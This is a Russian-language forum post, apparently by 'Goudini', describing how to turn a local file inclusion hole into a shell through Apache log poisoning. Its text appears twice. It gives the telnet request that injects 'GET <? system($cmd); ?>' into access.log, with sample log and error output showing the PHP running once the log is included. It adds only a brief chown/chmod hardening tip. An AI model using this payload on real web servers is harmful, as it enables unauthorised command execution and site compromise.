Получение шела при локальном инклуде
Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл
Запускаем telnet localhost 80
Теперь в файле останется запись похожая не эту
Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
Goudini
Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл
Запускаем telnet localhost 80
Код:
GET <? system($cmd); ?>
Теперь в файле останется запись похожая не эту
Код:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414
Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
Код:
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET
Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1
Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
Код:
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache
Goudini